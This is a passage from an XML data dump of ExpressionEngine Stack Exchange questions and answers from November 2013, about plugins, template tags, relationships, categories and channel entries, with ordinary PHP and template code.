  <row Id="16684" PostTypeId="2" ParentId="16667" CreationDate="2013-11-12T11:59:10.433" Score="0" Body="&lt;p&gt;Here's a really quick plugin that would do exactly what you need. Basically, create a folder in your add-ons directory called 'config_var', create a file pi.config_var.php and copy/paste the following in there&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;$plugin_info = array(&#xA;    'pi_name'           =&amp;gt; 'Config Vars',&#xA;    'pi_version'        =&amp;gt; '1.0',&#xA;    'pi_author'         =&amp;gt; 'Carl Crawley',&#xA;    'pi_author_url'     =&amp;gt; 'http://www.madebyhippo.com',&#xA;    'pi_description'    =&amp;gt; 'Returns Config var based on input',&#xA;    'pi_usage'          =&amp;gt; config_var::usage()&#xA;);&#xA;&#xA;class Config_var&#xA;{&#xA;    public $return_data = '';&#xA;&#xA;    public function Config_var()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        $var = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('var');&#xA;&#xA;        $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item($var); &#xA;&#xA;        return; &#xA;    }&#xA;&#xA;    public function usage()&#xA;    {&#xA;        ob_start();&#xA;?&amp;gt;&#xA;Simply pass the variable you want to return in the tag {exp:config_var var=&quot;xxx&quot;} and it will return the variable from the config.&#xA;&amp;lt;?php&#xA;        $buffer = ob_get_contents();&#xA;&#xA;        ob_end_clean();&#xA;&#xA;        return $buffer;&#xA;    }&#xA;    // END&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you can now simply called {exp:config_var var=&quot;&quot;} passing in the config variable you want and it'll pull the data out onto the page.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-11-12T11:59:10.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="2" ParentId="16674" CreationDate="2013-11-12T12:06:02.210" Score="2" Body="&lt;p&gt;You'll want to use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; category_group=&quot;your_cat_group&quot; category=&quot;2&amp;amp;3&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My understanding of it is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;2&amp;amp;3&quot; - This returns all entries which are tagged as belonging to 2 AND 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;2|3&quot; - This returns all entries which are tagged either 2 or 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the first will only return entries that have both categories set and the latter will get all categories where both are set OR only one of them.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-11-12T12:06:02.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16686" PostTypeId="1" AcceptedAnswerId="16794" CreationDate="2013-11-12T12:35:13.997" Score="1" ViewCount="118" Body="&lt;p&gt;Members can set to be notified (or not) when they receive a private message from another member. However, this email is sent immediately after the private message is sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the email notification can be bundled and sent, say, once a day. And if the private message is already read before the email notification is sent, the no need to send email notification for that private message. Is this possible to configure in EE (or via addon)?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-15T17:41:55.383" Title="Schedule emailing members - PM notification" Tags="|add-on|members|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16687" PostTypeId="2" ParentId="16681" CreationDate="2013-11-12T13:18:42.963" Score="1" Body="&lt;p&gt;Everything looks fine with your markup. Make sure that the Supporters member group isn't locked at the moment as only Super Admin's can assign members to that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming also you have the closing &lt;code&gt;exp:zoo_visitor:registration&lt;/code&gt; tag in your template.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-11-12T13:18:42.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16688" PostTypeId="2" ParentId="16645" CreationDate="2013-11-12T13:54:49.883" Score="2" Body="&lt;p&gt;There is an add-on from EE Garage that I have used to do that on a store finder before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called NSM Channels.&#xA;&lt;a href=&quot;http://ee-garage.com/nsm-channels&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-channels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if there is something similar on Devot-ee.com for free, but I know this works.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2013-11-12T13:54:49.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16689" PostTypeId="1" CreationDate="2013-11-12T14:51:03.803" Score="3" ViewCount="321" Body="&lt;p&gt;I just updated to 2.7.2 and I'm trying to rework all of the relationship tags (the updater failed to convert them automatically as promised).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've got three channels: Author, Publisher, and Book. A book has two relationship fields, one for author (writer) and one for publisher that link to the other two channels respectively. When I display the the author listing, I need to display all related books. This is doing exactly what I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {parents field=&quot;writer_rel&quot;}&#xA;&#xA;        &amp;lt;ul id=&quot;books&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{parents:url_title_path='book'}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;&#xA;                    {if parents:publication_date}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Publish Date: &amp;lt;/strong&amp;gt;{parents:publication_date}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:format}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Type: &amp;lt;/strong&amp;gt;{parents:format}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:isbn_hardback}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Hardback ISBN: &amp;lt;/strong&amp;gt;{parents:isbn_hardback}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:hb_pages}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Pages:&amp;lt;/strong&amp;gt;{parents:hb_pages}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:isbn_paperback}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Paperback ISBN: &amp;lt;/strong&amp;gt;{parents:isbn_paperback}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:pb_pages}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Pages:&amp;lt;/strong&amp;gt;{parents:pb_pages}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if parents:leo_call_number}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Leo Call Number: &amp;lt;/strong&amp;gt;{parents:leo_call_number}&amp;lt;/li&amp;gt;{/if}&#xA;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;/li&amp;gt;   &#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, so good, but when I add the Publisher to the list, which is the second relationship field, things stop working. If I treat it just like any other field and add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if parents:publisher_rel}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Publisher: &amp;lt;/strong&amp;gt;{parents:publisher_rel}&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It actually prevents the entire parents tag from being parsed. So I get this rendered on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHyGQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to treat it like it's own independent parent tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        {parents field=&quot;publisher_rel&quot;}&#xA;                        {parents:title}&#xA;                    {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just doesn't render. Weirdly, when nested inside the original parents tag it also prevents any further looping, so it doesn't display anything after the first entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yeah. I'm stuck. Any advice? Thanks very much.&lt;/p&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="55" LastEditDate="2013-11-12T22:40:18.030" LastActivityDate="2013-11-21T18:11:57.873" Title="Parent Relationship Broken in EE 2.7.2" Tags="|relationships|2.7.1|parent|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16690" PostTypeId="1" CreationDate="2013-11-12T15:01:19.010" Score="2" ViewCount="111" Body="&lt;p&gt;The user guide for the multi site manager states that one requirement is that all sites must reside on the same server. I was wondering if anyone could please explain why this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to possibly setup multiple instances of the same EE installation on different servers using the same domain and connecting to the same database. However, the EE installation I have uses multi site manager, which leads me to believe that this will not be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clarification anyone can provide on this will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2013-11-12T15:26:01.040" Title="Multi Site Manager On Multiple Servers" Tags="|multi-site-manager|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16691" PostTypeId="1" AcceptedAnswerId="16694" CreationDate="2013-11-12T15:15:06.293" Score="1" ViewCount="319" Body="&lt;p&gt;i'm creating a portfolio site where artists can show projects. artists are a category&#xA;&lt;img src=&quot;https://i.stack.imgur.com/woaf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on a project page (from an artist) i want to show the artists other projects as well.&#xA;this seems simple but i'm not sure how to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the category_id   &#xA;    {exp:channel:entries channel=&quot;projects&quot; status=&quot;open&quot; limit=&quot;1&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot;}&#xA;        {categories show_group=&quot;1&quot;}&#xA;           // parents from the categories are not artists but artist groups&#xA;            {if category_id != &quot;1&quot; AND category_id != &quot;2&quot; AND category_id != &quot;3&quot; AND category_id != &quot;4&quot;}&#xA;                &amp;lt;?php $artistid=&quot;{category_id}&quot;; ?&amp;gt;&#xA;            {/if}&#xA;        {/categories}&#xA;    {/exp:channel:entries}&#xA;&#xA;// show all titles from the category id (artist id)&#xA;    {exp:channel:entries channel=&quot;projects&quot; category=&quot;&amp;lt;?php echo $artistid ?&amp;gt;&quot; status=&quot;open&quot; limit=&quot;50&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;         {title} /&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eg on portfolio/project/test-dave-eerste-van-de-dag, the artist_id is 6 but it doesn't work in the second exp:channel:entries. php is on output. probably it goes wrong with both input and output. &#xA;there must be an easier way to do this!&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-11-12T15:27:13.413" Title="Show list of entries from specific category while showing a detail" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16692" PostTypeId="1" AcceptedAnswerId="16711" CreationDate="2013-11-12T15:23:27.747" Score="1" ViewCount="186" Body="&lt;p&gt;Is there an equivalent of a Change Log addon to track members actions in the CP for EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm haven't seen anything like that unless I'm missing some native functionality. &lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-11-13T02:07:50.110" Title="Member &quot;change log&quot; addon for EE" Tags="|add-on|members|control-panel|add-on-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16693" PostTypeId="2" ParentId="16690" CreationDate="2013-11-12T15:26:01.040" Score="1" Body="&lt;p&gt;The index.php and admin.php files in each site's document root references the shared system directory for all the sites. So, if the sites were on different servers you wouldn't be able to access the system folder path which lies on another server.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-12T15:26:01.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16694" PostTypeId="2" ParentId="16691" CreationDate="2013-11-12T15:27:13.413" Score="1" Body="&lt;p&gt;I would try using an embed to pass through your php variable. So the first half stays the same then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// show all titles from the category id (artist id)&#xA;    {embed=&quot;template_group/template_name&quot; cat_id=&quot;&amp;lt;?php echo $artistid ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; category=&quot;{embed:cat_id}&quot; status=&quot;open&quot; limit=&quot;50&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;         {title} /&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-12T15:27:13.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16697" PostTypeId="1" CreationDate="2013-11-12T15:43:45.730" Score="0" ViewCount="145" Body="&lt;p&gt;I'm new to EE.&#xA;Actually I have some problem updating a entry.&#xA;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ee()-&amp;gt;load-&amp;gt;library('api'); &#xA;    $data_item = array(&#xA;    'stock' =&amp;gt; '4'&#xA;);&#xA;&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings(7, $data_item);&#xA;&#xA;if(ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data_item, NULL, 31, TRUE) === FALSE)&#xA;    {&#xA;       (display error message)&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I am wrong?&#xA;many thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="2356" LastEditorUserId="69" LastEditDate="2013-11-14T09:49:03.330" LastActivityDate="2013-11-14T09:49:03.330" Title="Update channel entry" Tags="|add-on-development|entry|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16698" PostTypeId="1" AcceptedAnswerId="16753" CreationDate="2013-11-12T19:25:52.893" Score="1" ViewCount="68" Body="&lt;p&gt;I am using the Solspace Comment Upload extension to allow users to attach files to their comments. I would like to restrict the uploading of file types to only the MIME types listed in mimes.php. Currently it is allowing any file type to be uploaded, but the system seems to be restricting the download of file types that are not listed in mimes.php. Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="268" LastEditDate="2013-11-13T03:42:05.290" LastActivityDate="2013-11-14T16:18:41.447" Title="Solspace Comment Upload allowing all file types" Tags="|add-on|file-uploads|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16699" PostTypeId="1" CreationDate="2013-11-12T19:51:56.313" Score="0" ViewCount="956" Body="&lt;p&gt;I'm trying to use EE's Relationships field to select a page and get the full URI of that page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to be able to allow the client to select an entry from several different channels, and link directly to that entry.  Maybe noteworthy - this site does not use structure or the pages module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm trying to use, where &lt;code&gt;link_sbb&lt;/code&gt; is my Relationships field name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sidebar_banner&quot; limit=&quot;1&quot; dynamic=&quot;off&quot;}&#xA;   &amp;lt;a href=&quot;{link_sbb}{link_sbb:page_uri}{/link_sbb}&quot;&amp;gt;Learn More&amp;lt;span class=&quot;arrow&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get &lt;code&gt;url_title&lt;/code&gt; to work but I don't want to use &lt;code&gt;path=&quot;&quot;&lt;/code&gt; as the path's can be different, they can select pages from different channels/sections of the site etc.  The &lt;code&gt;permalink&lt;/code&gt; and &lt;code&gt;page_url&lt;/code&gt; variables don't return a value either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to achieve this with EE's Relationships field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of possible URL's&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/products/category &lt;/li&gt;&#xA;&lt;li&gt;/products/category/subcategory &lt;/li&gt;&#xA;&lt;li&gt;/products/category/{url_title}&lt;/li&gt;&#xA;&lt;li&gt;/products/category/subcategory/{url_title}&lt;/li&gt;&#xA;&lt;li&gt;/applications/category&lt;/li&gt;&#xA;&lt;li&gt;/applications/category/{url_title}&lt;/li&gt;&#xA;&lt;li&gt;/resources/category&lt;/li&gt;&#xA;&lt;li&gt;/company/category&lt;/li&gt;&#xA;&lt;li&gt;/news/category&lt;/li&gt;&#xA;&lt;li&gt;/news/{url_title}&lt;/li&gt;&#xA;&lt;li&gt;/single-page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2013-11-12T22:29:32.813" LastActivityDate="2013-11-12T22:29:32.813" Title="How do I get the full uri of a selected entry from EE's Relationships field?" Tags="|relationships|page-uri|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16700" PostTypeId="2" ParentId="16699" CreationDate="2013-11-12T20:13:42.150" Score="3" Body="&lt;p&gt;In order for &lt;code&gt;page_uri&lt;/code&gt; variable to work, either the pages or structure modules need to be installed. More &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#page-uri&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: other options, I would either install one of the modules or you will have to have several conditions within the &lt;code&gt;link_sbb&lt;/code&gt; tag pair to determine the correct path.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-11-12T20:13:42.150" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16701" PostTypeId="1" CreationDate="2013-11-12T20:31:32.920" Score="1" ViewCount="224" Body="&lt;p&gt;I've gotten a custom controller set up in my EE install and I'm trying to use an EE template with the custom functions etc I need to use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (!defined('BASEPATH')) exit('This cannot be hit directly.');&#xA;&#xA;    class Example extends EE_Controller {&#xA;&#xA;        function __construct() {&#xA;&#xA;            parent::__construct();&#xA;&#xA;            // get EE&#xA;            $this-&amp;gt;EE = $this-&amp;gt;core-&amp;gt;EE;&#xA;            // get EE's template library&#xA;            $this-&amp;gt;EE-&amp;gt;TMPL = $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('template');&#xA;        }&#xA;&#xA;        function index() {&#xA;&#xA;            $this-&amp;gt;EE-&amp;gt;TMPL = new EE_Template();&#xA;&#xA;            //pick our template&#xA;            $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;run_template_engine('site', 'form');&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This controller code successfully loads up my EE template, but I haven't had any luck parsing the tags, or sending in values for the tags. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I could build modules for custom code etc, but I need to allow for custom controllers for outside Kohana and Symfony code the EE install needs to make friends with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the $this-&gt;EE-&gt;TMPL-&gt;parse_variables() function that didn't seem to let me swap out the variables either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my template has code in it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;{meta_title}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;{meta_description}&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;keywords&quot; content=&quot;{meta_keywords}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorUserId="28" LastEditDate="2013-11-13T17:32:06.407" LastActivityDate="2013-11-13T17:32:06.407" Title="Using EE Templates in Custom Controllers Etc" Tags="|templates|codeigniter|custom|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="1" CreationDate="2013-11-12T21:35:26.220" Score="2" ViewCount="147" Body="&lt;p&gt;Is there anyway to add a file custom fieldtype in a channel:form tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;input type=&quot;file&quot; name=&quot;photo_banner&quot; value=&quot;{banner_photo}&quot;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of:&#xA;{field:banner_photo}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the latter to work, but not the former.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fabian&lt;/p&gt;&#xA;" OwnerUserId="769" LastActivityDate="2013-11-12T22:03:08.023" Title="Channel Form Custom Field" Tags="|channel-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="2" ParentId="16692" CreationDate="2013-11-12T21:44:06.473" Score="2" Body="&lt;p&gt;There's a very basic Control Panel log file here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/logs/cp_log.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/tools/logs/cp_log.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It tracks certain actions, though not exactly sure what they are. :) Does that help?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-11-12T21:44:06.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16704" PostTypeId="2" ParentId="16702" CreationDate="2013-11-12T22:03:08.023" Score="2" Body="&lt;p&gt;I managed to achieve this by using the {field:custom_field} method, then inspecting the DOM and copying the div.file_field element, and adding it directly to my template. I also had to copy over the safecracker script tag that the {field:custom_field} tag generated.&lt;/p&gt;&#xA;" OwnerUserId="769" LastActivityDate="2013-11-12T22:03:08.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16705" PostTypeId="2" ParentId="7460" CreationDate="2013-11-12T22:26:10.887" Score="0" Body="&lt;p&gt;@notacouch ideally I would like to fully integrate paypal subscription with Store, but since this won't be one of Store's features, I tried to use at least Simple Commerce to manage subscriptions, but had a lot of problems with Paypal IPNs - see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12844/simple-commerce-ipn-not-sent&quot;&gt;my other thread here&lt;/a&gt;. I also posted my question to the EE forum, but never had a reply. &lt;/p&gt;&#xA;" OwnerUserId="710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-12T22:26:10.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16706" PostTypeId="2" ParentId="16699" CreationDate="2013-11-12T22:28:50.063" Score="4" Body="&lt;p&gt;The short answer is that &lt;strong&gt;entries don't have URIs in EE&lt;/strong&gt;. Content is completely separated from URL routing - it will appear wherever you decide to call it in your templates (which are &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/url_structure.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;essentially analogous to routing in EE&lt;/a&gt;). (The exception is when you set a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/index.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pages URI&lt;/a&gt;, or use an add-on like &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Structure&lt;/a&gt; which subverts this fundamental tenet of EE.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16699/how-do-i-get-the-full-uri-of-a-selected-entry-from-ees-relationships-field#comment19204_16700&quot;&gt;Siebird pointed out&lt;/a&gt;, you have to decide where each related entry should link based on whatever data you have at your disposal (channel, entry_id, segment variables, etc), and then construct each link directly in your template code.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-12T22:28:50.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16707" PostTypeId="1" CreationDate="2013-11-12T22:30:24.693" Score="1" ViewCount="501" Body="&lt;p&gt;I have a Grid field and in the grid I have relationship field.  I can not seem to get anything to display for the relationship entry. I am using a custom status for my products and in the relationship setup in the grid I have chosen a custom status, not the Open status, this seems to return no results but if I setup products status to Open instead of the custom status then it returns the product information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following works if the status is set to Open but not if it is a custom status&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;video_gallery&quot; dynamic=&quot;off&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {video_gallery}&#xA;        &amp;lt;div style=&quot;float: left; margin: 20px;&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;youtube&quot; data-id=&quot;{video_gallery:video_id}&quot; data-title=&quot;{video_gallery:title}&quot; data-description=&quot;{video_gallery:description}&quot; data-product=&quot;{video_gallery:product search:status='wall'}&amp;lt;a href='/products/{video_gallery:product:url_title}'&amp;gt;{video_gallery:product:product_display_title}&amp;lt;/a&amp;gt;{/video_gallery:product}&quot;&amp;gt;&amp;lt;img src=&quot;{video_gallery:thumbnail}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;br /&amp;gt;{title}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/video_gallery}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to get this to work? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="55" LastEditDate="2013-11-13T17:39:03.383" LastActivityDate="2013-11-13T17:44:25.863" Title="Relationship field in a grid" Tags="|ee2|relationships|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16708" PostTypeId="2" ParentId="16689" CreationDate="2013-11-12T22:39:34.777" Score="2" Body="&lt;p&gt;You are actually trying to access the child (&quot;Publisher&quot;) of a parent (&quot;Book&quot;) - because you're currently viewing another child of the &quot;Book&quot; (&quot;Author&quot;). So that's why &lt;code&gt;{parents field=&quot;publisher_rel&quot;}&lt;/code&gt; won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code you posted &lt;em&gt;should&lt;/em&gt; work, with one tweak - you need to add the field you want to display (in this case, &lt;code&gt;:title&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;writer_rel&quot;}&#xA;    {if parents:publisher_rel}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Publisher: &amp;lt;/strong&amp;gt;{parents:publisher_rel:title}&amp;lt;/li&amp;gt;{/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should also work (using a tag pair):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;writer_rel&quot;}&#xA;    {parents:publisher_rel}&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Publisher: &amp;lt;/strong&amp;gt;{parents:publisher_rel:title}&amp;lt;/li&amp;gt;{/parents:publisher_rel}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-12T22:39:34.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
